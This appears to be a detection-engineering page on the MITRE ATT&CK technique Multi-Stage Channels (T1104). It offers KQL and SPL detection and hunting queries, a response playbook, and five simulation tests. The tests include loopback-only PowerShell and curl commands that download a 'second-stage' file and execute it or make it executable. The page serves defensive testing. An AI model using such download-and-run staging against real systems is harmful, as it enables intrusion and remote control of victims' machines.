T1104

Multi-Stage Channels

Command and Control Last updated:

Adversaries may create multiple stages for command and control that are employed under different conditions or for certain functions. Use of multiple stages may obfuscate the command and control channel to make detection more difficult. Remote access tools will call back to the first-stage command and control server for instructions. The first stage may have automated capabilities to collect basic host information, update tools, and upload additional files. A second remote access tool (RAT) could be uploaded at that point to redirect the host to the second-stage command and control server. The second stage will likely be more fully featured and allow the adversary to interact with the system through a reverse shell and additional RAT features. The different stages will likely be hosted separately with no overlapping infrastructure. The loader may also have backup first-stage callbacks or Fallback Channels in case the original first-stage communication path is discovered and blocked. Known real-world examples include APT3 using SOCKS5 to proxy through 192.157.198[.]103 before connecting to a second IP on TCP/81, Lazarus Group injecting later stages into separate processes, Bazar loader downloading the Bazar backdoor as a second-stage implant, and LunarWeb using one URL for initial host profiling and two additional URLs for command retrieval.

What is T1104 Multi-Stage Channels?

Multi-Stage Channels (T1104) maps to the Command and Control tactic — the adversary is trying to communicate with compromised systems to control them in MITRE ATT&CK.

This page provides production-ready detection logic for Multi-Stage Channels, covering the data sources and telemetry it touches: Network Traffic: Network Connection Creation, Microsoft Defender for Endpoint, Process: Process Creation. The queries below are rated high severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.

MITRE ATT&CK

Tactic
Command and Control
Technique
T1104 Multi-Stage Channels
Canonical reference
https://attack.mitre.org/techniques/T1104/
Microsoft Sentinel / Defender
kusto
// T1104 Multi-Stage Channels
// Primary indicator: non-browser process connects to 2+ distinct external IPs
// suggesting first-stage C2 redirection to second-stage infrastructure
let ExcludedProcs = dynamic([
    "chrome.exe", "msedge.exe", "firefox.exe", "iexplore.exe", "opera.exe", "brave.exe",
    "onedrive.exe", "dropbox.exe", "teams.exe", "outlook.exe", "thunderbird.exe",
    "svchost.exe", "MsMpEng.exe", "DiagTrack.exe", "wuauclt.exe", "WaaSMedicAgent.exe",
    "SearchIndexer.exe", "backgroundTaskHost.exe", "RuntimeBroker.exe"
]);
let MultiStageConns = DeviceNetworkEvents
| where Timestamp > ago(24h)
| where RemoteIPType == "Public"
| where not(InitiatingProcessFileName has_any (ExcludedProcs))
| where InitiatingProcessIntegrityLevel in ("Medium", "High", "System")
| summarize
    UniqueRemoteIPs = dcount(RemoteIP),
    RemoteIPList = make_set(RemoteIP, 15),
    RemotePorts = make_set(RemotePort, 10),
    ConnectionCount = count(),
    FirstContact = min(Timestamp),
    LastContact = max(Timestamp)
    by DeviceName,
       AccountName = InitiatingProcessAccountName,
       ProcessFileName = InitiatingProcessFileName,
       ProcessCommandLine = InitiatingProcessCommandLine,
       ProcessId = InitiatingProcessId
| where UniqueRemoteIPs >= 2
| extend DurationMinutes = datetime_diff('minute', LastContact, FirstContact)
| extend StrongIndicator = UniqueRemoteIPs >= 3
| project
    LastContact, DeviceName, AccountName, ProcessFileName, ProcessCommandLine,
    UniqueRemoteIPs, RemoteIPList, RemotePorts, ConnectionCount, DurationMinutes, StrongIndicator
| sort by UniqueRemoteIPs desc, LastContact desc;
// Secondary indicator: parent process connects to one external IP, spawns child that connects to a DIFFERENT external IP
let ParentNetConns = DeviceNetworkEvents
| where Timestamp > ago(24h)
| where RemoteIPType == "Public"
| where not(InitiatingProcessFileName has_any (ExcludedProcs))
| summarize ParentIPSet = make_set(RemoteIP, 10)
    by DeviceName, ParentProcId = InitiatingProcessId, ParentFileName = InitiatingProcessFileName;
let ChildHandoff = DeviceNetworkEvents
| where Timestamp > ago(24h)
| where RemoteIPType == "Public"
| where not(InitiatingProcessFileName has_any (ExcludedProcs))
| join kind=inner (ParentNetConns) on DeviceName,
    $left.InitiatingProcessParentId == $right.ParentProcId
| where not(set_has_element(ParentIPSet, RemoteIP))
| project
    Timestamp, DeviceName,
    ChildFileName = InitiatingProcessFileName,
    ChildCommandLine = InitiatingProcessCommandLine,
    ChildRemoteIP = RemoteIP, ChildRemotePort = RemotePort,
    ParentFileName, ParentIPSet
| extend StrongIndicator = true
| sort by Timestamp desc;
union
  (MultiStageConns | extend DetectionType = "SingleProcessMultiStageC2"),
  (ChildHandoff | extend DetectionType = "ParentChildC2Handoff", AccountName = "",
      ProcessFileName = ChildFileName, ProcessCommandLine = ChildCommandLine,
      UniqueRemoteIPs = 2, RemoteIPList = ParentIPSet, RemotePorts = dynamic([]),
      ConnectionCount = 1, DurationMinutes = 0, LastContact = Timestamp)
| sort by LastContact desc

Detects multi-stage C2 channels using two complementary signals in Microsoft Defender for Endpoint telemetry. Signal 1 (SingleProcessMultiStageC2): identifies non-browser processes that connect to 2 or more distinct external IPs — a key behavioral fingerprint of staged loaders that contact a first-stage server and are redirected to a second-stage. Browsers, update services, and common collaboration tools are excluded to reduce noise. Signal 2 (ParentChildC2Handoff): correlates parent-child process pairs where the parent connects to one external IP and the child connects to a completely different external IP, indicating a loader-to-RAT handoff pattern used by groups like Lazarus and APT41. Both signals are unioned into a single result set with a DetectionType field and StrongIndicator flag for triage prioritization.

high severity medium confidence

Data Sources

Network Traffic: Network Connection Creation Microsoft Defender for Endpoint Process: Process Creation

Required Tables

DeviceNetworkEvents

False Positives

  • Update managers and package tools (e.g., npm, pip, choco) that sequentially contact CDNs and registries during install — these appear as single process connecting to multiple external IPs
  • Security agents and EDR tools that phone home to health endpoints and telemetry endpoints at different IP addresses as part of normal heartbeat operations
  • Development toolchains that pull dependencies from multiple distinct external hosts (e.g., cargo, go get, Maven) during build operations from developer workstations
  • Remote monitoring and management (RMM) agents such as ConnectWise or NinjaRMM that maintain connections to multiple infrastructure IPs for load balancing and failover
  • Backup agents (Veeam, Acronis) that contact licensing servers, cloud repositories, and update endpoints sequentially as part of a backup job

Sigma rule & cross-platform mapping

The detection logic for Multi-Stage Channels (T1104) above is provided in a vendor-neutral form so you can deploy it on any SIEM. The same logic is shipped here as native KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the following logsource:

logsource:
  category: process_creation
  product: windows

Browse the community-maintained Sigma rules for this technique:


Testing Methodology

Validate this detection against 5 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Two-Stage PowerShell C2 Simulation (Windows)

    Expected signal: Sysmon Event ID 1: Process Create for powershell.exe with the multi-stage command line. Sysmon Event ID 3: two distinct Network Connection events from the same ProcessId — one to 127.0.0.1:8080 and one to 127.0.0.1:8081. Note: loopback IPs will be filtered from the public-IP detection rules, so to fully validate the detection in a lab, replace 127.0.0.1 with two distinct external test IPs (e.g., dedicated canary hosts).

  2. Test 2First-Stage Downloader Dropping Second-Stage Binary (Windows)

    Expected signal: Sysmon Event ID 11: FileCreate for stage2_test.exe in %TEMP% initiated by powershell.exe. Sysmon Event ID 1: Process Create for stage2_test.exe with parent powershell.exe. The loader-to-dropped-binary pattern is visible in the process chain. In a full lab scenario with a second-stage that makes outbound connections to a different IP than the downloader, Sysmon Event ID 3 records from both the parent PowerShell and the child stage2_test.exe would show different destination IPs.

  3. Test 3SOCKS5 Proxy Connection via PowerShell (Windows — First-Stage Pattern)

    Expected signal: Sysmon Event ID 3: Network Connection events from powershell.exe to 127.0.0.1:1080 and 127.0.0.1:1913. In a real scenario with external IPs, these would appear in DeviceNetworkEvents. The connection to TCP/1913 specifically matches the APT3 Operation Double Tap SOCKS5 first-stage pattern.

  4. Test 4Multi-Stage C2 via curl Chain (Linux)

    Expected signal: Linux auditd SYSCALL records: execve for curl with distinct destination arguments, socketcall/connect system calls to two distinct destination ports. If using Sysmon for Linux: Event ID 3 (Network Connection) for each curl process with different DestinationIp/DestinationPort values. Process tree shows sequential curl invocations from a parent shell process. /tmp file creation events for downloaded artifacts.

  5. Test 5Process Injection Multi-Stage Simulation (Windows — Lazarus Pattern)

    Expected signal: Sysmon Event ID 1: Process Create for notepad.exe and child powershell.exe. Sysmon Event ID 10 (ProcessAccess): source PowerShell process accessing notepad.exe handle — this is the process access event that precedes injection in real attacks. Sysmon Event ID 3: Network Connection from child powershell.exe to 127.0.0.1:9002, distinct from any connections the parent makes. Security Event ID 4688 for all process creation events if command-line auditing is enabled.


Response Playbook

Triage

  1. Identify the process making multi-stage connections — review the full command line, parent process, and process creation time. Is this a known admin tool, scheduled task, or a binary dropped to a temp/user-writable path?
  2. Map the two (or more) distinct external IPs: run them through threat intelligence (VirusTotal, Shodan, AbuseIPDB). Do any IPs have C2 reputation hits? Are the IPs on different ASNs/hosting providers (common in staged infrastructure to avoid full shutdown)?
  3. Check the timing between first-stage and second-stage connections — rapid redirection (< 60 seconds between IP contact) is a strong indicator of automated C2 staging vs. legitimate software polling multiple update mirrors
  4. Look for the file that spawned the connection: review DeviceFileEvents or Sysmon Event ID 11 for when the initiating binary was written to disk. Was it dropped by Office, a browser download, or another process? Check the file's SHA256 against VirusTotal.
  5. Check for process injection artifacts: did the first-stage process use CreateRemoteThread or VirtualAllocEx on another process? Review Sysmon Event ID 8 (CreateRemoteThread) and Event ID 10 (ProcessAccess) around the same timeframe.
  6. Validate the parent process chain: trace all ancestors of the suspicious process. Unexpected parent chains (e.g., WINWORD.EXE → cmd.exe → suspicious.exe) strongly indicate initial access via phishing or exploitation.

Containment

  1. If C2 confirmed: immediately isolate the endpoint via EDR network isolation or emergency VLAN change to cut active C2 channels before the adversary can execute further commands or exfiltrate data
  2. Block all identified C2 IPs at the perimeter firewall and web proxy, and add domains to DNS sinkhole if resolution-based C2 is involved. Apply blocks to ALL stages — blocking only stage-one IP while the device already has stage-two RAT is insufficient.
  3. Terminate the malicious process tree on the host. Use the PID to kill both the loader and any injected or spawned processes. Document all killed PIDs before termination for forensic correlation.
  4. Disable the user account if credentials may have been stolen during the C2 session. Reset the password and invalidate all active sessions and tokens (Entra ID / Azure AD: revoke refresh tokens with Revoke-AzureADUserAllRefreshTokens).
  5. Preserve memory before isolation if possible — use EDR live response to collect a memory dump of the suspicious process(es) for offline analysis of injected shellcode, decrypted payloads, and additional C2 indicators.
  6. Search for lateral movement: query DeviceLogonEvents and DeviceNetworkEvents for any connections FROM the compromised host to internal assets in the 24h window preceding containment. Treat all reached internal hosts as potentially compromised.

Evidence Collection

  1. Network telemetry: capture all unique external IPs, ports, and protocols contacted by the suspicious process and any child processes. Note exact timestamps of first contact for each IP to reconstruct the staging sequence.
  2. Process memory dump of the loader and second-stage RAT (if resident in memory) using EDR live response or ProcDump: procdump.exe -ma <PID> C:\Evidence\stage2_dump.dmp
  3. Sysmon Event ID 1 (Process Create): full command line, parent process, image hash, and creation time for all processes in the chain
  4. Sysmon Event ID 3 (Network Connection): all outbound connections from suspicious PIDs with source/destination IP, port, protocol, and timestamps
  5. Sysmon Event ID 7 (Image Load): DLLs loaded by the suspicious process — may reveal reflective DLL injection or in-memory second-stage payloads
  6. Sysmon Event ID 8 (CreateRemoteThread) and Event ID 10 (ProcessAccess): evidence of process injection from loader into host process
  7. File system artifacts: hash and copy the loader binary before remediation. Check for persistence mechanisms: scheduled tasks (schtasks /query /fo LIST /v), services (sc query), registry Run keys (HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run)
  8. Windows Prefetch: C:\Windows\Prefetch\<LOADER>.EXE-*.pf — execution timestamps and referenced files
  9. DNS cache: ipconfig /displaydns — may reveal domain-based C2 resolution before DNS flush

Escalation Criteria

  • ! Second-stage C2 IP confirmed malicious in threat intelligence (VirusTotal, Recorded Future, MISP) — indicates known adversary infrastructure
  • ! Evidence of process injection (Sysmon Event ID 8 or 10) from the loader into a trusted system process (lsass.exe, explorer.exe, svchost.exe) — indicates advanced in-memory staging
  • ! Lateral movement detected: connections from the compromised host to internal servers, domain controllers, or file shares
  • ! Privileged account involved: loader running as SYSTEM, domain admin, or service account without corresponding change ticket
  • ! Multiple hosts showing the same loader hash or C2 IP within a short window — indicates coordinated intrusion or worm-like spread
  • ! Evidence of data staging or exfiltration: large outbound transfers to external IPs following the C2 handoff

Investigation Guide

Forensic Artifacts

  • > File System: loader binary in %TEMP%, %APPDATA%, or user-writable paths — hash and submit to VirusTotal. Compare first-stage and second-stage binary metadata (compile time, PE headers, import tables) for infrastructure relationships.
  • > Registry: HKLM\SYSTEM\CurrentControlSet\Services — check for malicious service registration used for persistence after staging. HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache for scheduled task persistence.
  • > Network: PCAP or flow records showing TCP session to first-stage IP followed by session to second-stage IP from same source host/process. Unusual protocols on non-standard ports (e.g., SOCKS5 on TCP/1913 as seen in APT3 Operation Double Tap).
  • > Memory: second-stage payload resident in memory without corresponding file on disk (fileless staging). Use Volatility or Rekall to enumerate loaded modules, VADs, and find injected shellcode regions marked RWX.
  • > Prefetch: C:\Windows\Prefetch — execution history for both loader and second-stage binary. Timestomping-resistant evidence of execution.
  • > Event Log: Security Event ID 4688 (process creation with command-line logging enabled) for loader execution chain. Microsoft-Windows-TaskScheduler/Operational for scheduled task creation used for persistence.
  • > LNK Files: C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Recent — recently accessed files that may include the initial dropper or phishing document that launched the loader.

Tuning Guidance

Multi-stage channel detection requires environment-specific baselining before operationalizing. Start by running the hunting queries in audit mode for 2 weeks and cataloging all processes that legitimately connect to multiple external IPs — these will form your allowlist. Common legitimate multi-IP processes include: package managers (npm, pip, go, cargo, nuget), cloud sync clients (OneDrive, Dropbox, Box), EDR/security agents, and backup clients. Build a reference table of approved (process_name, ip_range) tuples rather than blanket process exclusions to avoid excluding entire tool categories. For the SOCKS proxy port hunt, coordinate with your VPN and IT team to document all approved SOCKS proxy usage. In environments with heavy developer activity, consider scoping the UniqueIPs threshold to >= 3 for the primary detection to reduce developer workstation noise. The parent-child C2 handoff detection is the highest-fidelity signal but requires Sysmon or MDE telemetry that captures InitiatingProcessParentId — verify your sensor coverage before relying on it. Prioritize alerts where the initiating binary resides in user-writable paths (Temp, AppData, ProgramData) over system paths, as legitimate software rarely stages from those locations. Consider integrating OSINT threat intelligence lookups on the detected remote IPs as an automated enrichment step to auto-escalate confirmed-malicious infrastructure matches.


Hunting Queries

Hunt for SOCKS proxy port connections from non-browser, non-VPN processes. APT3 used SOCKS5 on TCP/1913 as the first-stage proxy connection before redirecting the host to a second-stage server on TCP/81. Connections from unexpected processes to common SOCKS proxy ports (1080, 1913, 4145, 9050) are a strong multi-stage C2 indicator.

Hunting — KQL
kql
// Hunt: SOCKS proxy port connections from non-VPN, non-browser processes
// APT3 pattern: TCP/1913 for SOCKS5 first-stage, then redirect to second-stage
let SocksProxyPorts = dynamic([1080, 1081, 1082, 1083, 1090, 1913, 4145, 9050, 9051, 9150]);
let ExcludedApps = dynamic(["chrome.exe", "msedge.exe", "firefox.exe", "tor.exe", "ssh.exe", "putty.exe", "kitty.exe"]);
DeviceNetworkEvents
| where Timestamp > ago(7d)
| where RemotePort in (SocksProxyPorts)
| where RemoteIPType == "Public"
| where not(InitiatingProcessFileName has_any (ExcludedApps))
| project Timestamp, DeviceName, InitiatingProcessFileName, InitiatingProcessCommandLine,
    InitiatingProcessParentFileName, RemoteIP, RemotePort, Protocol
| sort by Timestamp desc
Hunting — SPL
spl
index=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=3
(DestinationPort=1080 OR DestinationPort=1081 OR DestinationPort=1082 OR DestinationPort=1083 OR DestinationPort=1090 OR DestinationPort=1913 OR DestinationPort=4145 OR DestinationPort=9050 OR DestinationPort=9051 OR DestinationPort=9150)
NOT (Image="*\\chrome.exe" OR Image="*\\msedge.exe" OR Image="*\\firefox.exe" OR Image="*\\tor.exe" OR Image="*\\ssh.exe" OR Image="*\\putty.exe")
NOT (DestinationIp="10.*" OR DestinationIp="192.168.*" OR DestinationIp="127.*")
| table _time, host, User, Image, CommandLine, DestinationIp, DestinationPort
| sort - _time

Hunt for the loader-to-RAT handoff pattern: a process drops an executable to a user-writable directory (Temp, AppData, ProgramData, Public) and within 60 minutes a different process from that same path makes an outbound network connection to an external IP. This two-event correlation detects first-stage droppers delivering second-stage implants as seen in Bazar loader, Valak, and Snip3.

Hunting — KQL
kql
// Hunt: Processes that wrote a binary to disk AND that binary subsequently made network connections
// Classic loader-to-RAT pattern: first stage drops second stage, second stage phones home to different IP
let DroppedExecutables = DeviceFileEvents
| where Timestamp > ago(7d)
| where ActionType == "FileCreated"
| where FileName endswith ".exe" or FileName endswith ".dll" or FileName endswith ".bin"
| where FolderPath has_any ("\\Temp\\", "\\AppData\\", "\\ProgramData\\", "\\Users\\Public\\")
| project DropTime=Timestamp, DeviceName, DroppedFile=FolderPath, DropperProcId=InitiatingProcessId, DropperFileName=InitiatingProcessFileName;
DeviceNetworkEvents
| where Timestamp > ago(7d)
| where RemoteIPType == "Public"
| join kind=inner (DroppedExecutables) on DeviceName
| where InitiatingProcessFileName != DropperFileName
| where Timestamp > DropTime
| where datetime_diff('minute', Timestamp, DropTime) < 60
| project
    Timestamp, DeviceName, DropTime,
    DroppedFile, DropperFileName,
    SecondStageFileName=InitiatingProcessFileName, SecondStageCmdLine=InitiatingProcessCommandLine,
    RemoteIP, RemotePort
| sort by Timestamp desc
Hunting — SPL
spl
index=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=11
(TargetFilename="*\\Temp\\*.exe" OR TargetFilename="*\\AppData\\*.exe" OR TargetFilename="*\\ProgramData\\*.exe" OR TargetFilename="*\\Users\\Public\\*.exe" OR TargetFilename="*\\Temp\\*.dll" OR TargetFilename="*\\AppData\\*.dll")
| eval DropTime=_time, DroppedFile=TargetFilename, DropperImage=Image
| join type=inner host
    [ search index=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=3
      NOT (DestinationIp="10.*" OR DestinationIp="192.168.*" OR DestinationIp="127.*")
      | eval NetTime=_time
      | table host, Image as NetImage, CommandLine as NetCmdLine, DestinationIp, DestinationPort, NetTime ]
| where NetImage!=DropperImage AND NetTime>DropTime AND (NetTime-DropTime)<3600
| table DropTime, host, DropperImage, DroppedFile, NetImage, NetCmdLine, DestinationIp, DestinationPort
| sort - DropTime

Hunt for rapid sequential connections to distinct external IPs within a narrow 5-minute window. Automated multi-stage C2 staging typically rotates between first-stage and second-stage IP within seconds to minutes. This query detects processes making 2+ unique external IP connections in under 300 seconds with port changes, which strongly distinguishes staging sequences from legitimate software that may eventually reach multiple IPs but does so over much longer intervals.

Hunting — KQL
kql
// Hunt: Rapid sequential connections to distinct external IPs with port changes
// Detects first-stage → second-stage IP rotation within a narrow time window
DeviceNetworkEvents
| where Timestamp > ago(7d)
| where RemoteIPType == "Public"
| where not(InitiatingProcessFileName has_any ("chrome.exe", "msedge.exe", "firefox.exe", "iexplore.exe", "svchost.exe", "MsMpEng.exe"))
| summarize
    IPSequence = make_list(strcat(RemoteIP, ":", tostring(RemotePort)), 20),
    UniqueIPs = dcount(RemoteIP),
    UniquePorts = dcount(RemotePort),
    FirstContact = min(Timestamp),
    LastContact = max(Timestamp)
    by DeviceName, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId
| where UniqueIPs >= 2
| extend WindowSeconds = datetime_diff('second', LastContact, FirstContact)
| where WindowSeconds < 300
| project
    FirstContact, DeviceName, InitiatingProcessFileName, InitiatingProcessCommandLine,
    IPSequence, UniqueIPs, UniquePorts, WindowSeconds
| sort by UniqueIPs desc, WindowSeconds asc
Hunting — SPL
spl
index=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=3
NOT (Image="*\\chrome.exe" OR Image="*\\msedge.exe" OR Image="*\\firefox.exe" OR Image="*\\svchost.exe" OR Image="*\\MsMpEng.exe")
NOT (DestinationIp="10.*" OR DestinationIp="192.168.*" OR DestinationIp="127.*")
| bucket _time span=5m
| stats
    dc(DestinationIp) as UniqueIPs,
    dc(DestinationPort) as UniquePorts,
    values(DestinationIp) as IPList,
    earliest(_time) as FirstContact,
    latest(_time) as LastContact,
    range(_time) as WindowSecs
    by host, ProcessId, Image, CommandLine
| where UniqueIPs >= 2 AND WindowSecs < 300
| table FirstContact, host, Image, CommandLine, UniqueIPs, IPList, UniquePorts, WindowSecs
| sort - UniqueIPs

Atomic Red Team Tests

Test 1 Two-Stage PowerShell C2 Simulation (Windows)
windows

Simulates a first-stage loader contacting one external endpoint and then downloading and executing a second-stage payload that contacts a different endpoint. Uses localhost loopback addresses to keep the test safe. The first PowerShell process represents the initial stager; it downloads a script from port 8080 and the second invocation (simulating the dropped second-stage) connects to port 8081. This matches the behavioral signature detected by the multi-IP connection rule.

Command

powershell
powershell.exe -NoProfile -Command "$stage1 = [System.Net.WebRequest]::Create('http://127.0.0.1:8080/stage1'); try { $stage1.GetResponse() } catch {}; Start-Sleep -Seconds 2; $stage2 = [System.Net.WebRequest]::Create('http://127.0.0.1:8081/stage2'); try { $stage2.GetResponse() } catch {}; Write-Output 'Multi-stage C2 simulation complete'"

Expected Telemetry

Sysmon Event ID 1: Process Create for powershell.exe with the multi-stage command line. Sysmon Event ID 3: two distinct Network Connection events from the same ProcessId — one to 127.0.0.1:8080 and one to 127.0.0.1:8081. Note: loopback IPs will be filtered from the public-IP detection rules, so to fully validate the detection in a lab, replace 127.0.0.1 with two distinct external test IPs (e.g., dedicated canary hosts).

Expected Detection

KQL: PowerShell process appears in DeviceNetworkEvents with UniqueRemoteIPs >= 2 when external IPs are used. SPL: dc(DestinationIp) >= 2 for the PowerShell ProcessId within the 5-minute bucket window. Both detections fire on the same ProcessId reaching multiple distinct IPs.

Test 2 First-Stage Downloader Dropping Second-Stage Binary (Windows)
windows

Simulates a first-stage loader downloading a second-stage executable to a user-writable path and executing it. The dropped binary then makes its own network connection, producing the parent-child different-IP pattern. Uses benign tools (certutil for download, calc.exe as the stand-in second-stage) with localhost to avoid real network traffic. Replace paths and URLs with lab-controlled infrastructure for full detection validation.

Command

powershell
powershell.exe -NoProfile -Command "$url = 'http://127.0.0.1:9000/stage2.exe'; $dest = "$env:TEMP\stage2_test.exe"; try { Invoke-WebRequest -Uri $url -OutFile $dest } catch { Copy-Item 'C:\Windows\System32\calc.exe' $dest }; if (Test-Path $dest) { Start-Process $dest } else { Write-Output 'Download failed, file not created' }"

Cleanup

powershell
powershell.exe -NoProfile -Command "Stop-Process -Name 'stage2_test' -ErrorAction SilentlyContinue; Remove-Item '$env:TEMP\stage2_test.exe' -ErrorAction SilentlyContinue"

Expected Telemetry

Sysmon Event ID 11: FileCreate for stage2_test.exe in %TEMP% initiated by powershell.exe. Sysmon Event ID 1: Process Create for stage2_test.exe with parent powershell.exe. The loader-to-dropped-binary pattern is visible in the process chain. In a full lab scenario with a second-stage that makes outbound connections to a different IP than the downloader, Sysmon Event ID 3 records from both the parent PowerShell and the child stage2_test.exe would show different destination IPs.

Expected Detection

KQL hunting query: DroppedFile match in DeviceFileEvents followed by DeviceNetworkEvents from a process matching the dropped filename within 60 minutes. SPL: FileCreate EventCode=11 in Temp path joined to EventCode=3 from a different Image, WindowSecs < 3600.

Test 3 SOCKS5 Proxy Connection via PowerShell (Windows — First-Stage Pattern)
windows

Simulates the first-stage SOCKS5 proxy connection pattern used by APT3 (TCP/1913) and other threat groups that route initial C2 through SOCKS before establishing a direct second-stage channel. Attempts a TCP connection to port 1080 (standard SOCKS5) on localhost. In a real intrusion, this connection would be to an external SOCKS proxy that the adversary controls, which then forwards traffic to the actual C2.

Command

powershell
powershell.exe -NoProfile -Command "$socksTest = New-Object System.Net.Sockets.TcpClient; try { $socksTest.Connect('127.0.0.1', 1080); Write-Output 'SOCKS5 connection attempt made' } catch { Write-Output 'Connection refused (expected — no listener)' } finally { $socksTest.Close() }; $socks2 = New-Object System.Net.Sockets.TcpClient; try { $socks2.Connect('127.0.0.1', 1913); Write-Output 'APT3-style port 1913 attempt made' } catch {} finally { $socks2.Close() }"

Expected Telemetry

Sysmon Event ID 3: Network Connection events from powershell.exe to 127.0.0.1:1080 and 127.0.0.1:1913. In a real scenario with external IPs, these would appear in DeviceNetworkEvents. The connection to TCP/1913 specifically matches the APT3 Operation Double Tap SOCKS5 first-stage pattern.

Expected Detection

KQL SOCKS hunt: powershell.exe appears in DeviceNetworkEvents with RemotePort in the SocksProxyPorts dynamic list. SPL: EventCode=3 with DestinationPort=1080 or DestinationPort=1913 from powershell.exe matches the SOCKS port hunting rule.

Test 4 Multi-Stage C2 via curl Chain (Linux)
linux

Simulates multi-stage C2 on Linux by chaining two curl requests to different hosts, mimicking a first-stage loader that contacts one C2 endpoint for tasking and then a second distinct endpoint for payload delivery or command execution. This matches the MuddyWater pattern of using one C2 for enumeration scripts and a separate C2 to receive exfiltrated data.

Command

bash
# Stage 1: contact first-stage C2 (simulated with httpbin)
curl -s -o /tmp/stage1_response.txt -m 5 http://127.0.0.1:9000/stage1 || echo 'Stage1 connection attempted';
sleep 2;
# Stage 2: contact second-stage C2 on different address/port
curl -s -o /tmp/stage2_payload.sh -m 5 http://127.0.0.1:9001/stage2 || echo 'Stage2 connection attempted';
# Simulate execution of second-stage payload
if [ -f /tmp/stage2_payload.sh ]; then chmod +x /tmp/stage2_payload.sh; fi;
echo 'Multi-stage simulation complete'

Cleanup

bash
rm -f /tmp/stage1_response.txt /tmp/stage2_payload.sh

Expected Telemetry

Linux auditd SYSCALL records: execve for curl with distinct destination arguments, socketcall/connect system calls to two distinct destination ports. If using Sysmon for Linux: Event ID 3 (Network Connection) for each curl process with different DestinationIp/DestinationPort values. Process tree shows sequential curl invocations from a parent shell process. /tmp file creation events for downloaded artifacts.

Expected Detection

SPL (syslog/auditd): two distinct curl processes from the same parent within a short time window contacting different destination IPs — this is the Linux equivalent of the parent-child different-C2 pattern. KQL (if MDE Linux): DeviceNetworkEvents shows InitiatingProcessFileName=curl with different RemoteIPs within the same session.

Test 5 Process Injection Multi-Stage Simulation (Windows — Lazarus Pattern)
windows

Simulates the Lazarus Group pattern of injecting a second-stage payload into a separate trusted process. Uses PowerShell to spawn a remote process (notepad.exe as benign stand-in for a RAT host) with a different network identity than the original loader. In real Lazarus operations, this achieves process-level C2 separation — the first-stage loader appears in process telemetry while the actual C2 traffic comes from the injected host process. This test validates Sysmon Event ID 8 (CreateRemoteThread) and Event ID 10 (ProcessAccess) detection coverage.

Command

powershell
$target = Start-Process notepad.exe -PassThru;
$pid = $target.Id;
Write-Output "Spawned target process PID: $pid";
# Simulate process access (read-only, no actual injection)
$handle = [System.Diagnostics.Process]::GetProcessById($pid);
Write-Output "Accessed process handle for PID $pid (simulating stage-2 loader process access)";
# Simulate the second-stage making a distinct network call from a different process
Start-Process powershell.exe -ArgumentList "-NoProfile -Command `"try { Invoke-WebRequest -Uri 'http://127.0.0.1:9002/c2stage2' -UseBasicParsing } catch {}; Write-Output 'Stage2 network call from separate process'`"" -Wait;
Stop-Process -Id $pid -ErrorAction SilentlyContinue;

Cleanup

powershell
Stop-Process -Name notepad -ErrorAction SilentlyContinue; Stop-Process -Name powershell -ErrorAction SilentlyContinue

Expected Telemetry

Sysmon Event ID 1: Process Create for notepad.exe and child powershell.exe. Sysmon Event ID 10 (ProcessAccess): source PowerShell process accessing notepad.exe handle — this is the process access event that precedes injection in real attacks. Sysmon Event ID 3: Network Connection from child powershell.exe to 127.0.0.1:9002, distinct from any connections the parent makes. Security Event ID 4688 for all process creation events if command-line auditing is enabled.

Expected Detection

Sysmon Event ID 10 combined with subsequent network activity from the accessed/injected process represents the multi-stage injection pattern. KQL: DeviceEvents where ActionType == 'ProcessAccess' joined to DeviceNetworkEvents from the target process ID within a short time window. SPL: EventCode=10 correlated with EventCode=3 from the same ProcessGuid.

Related Detections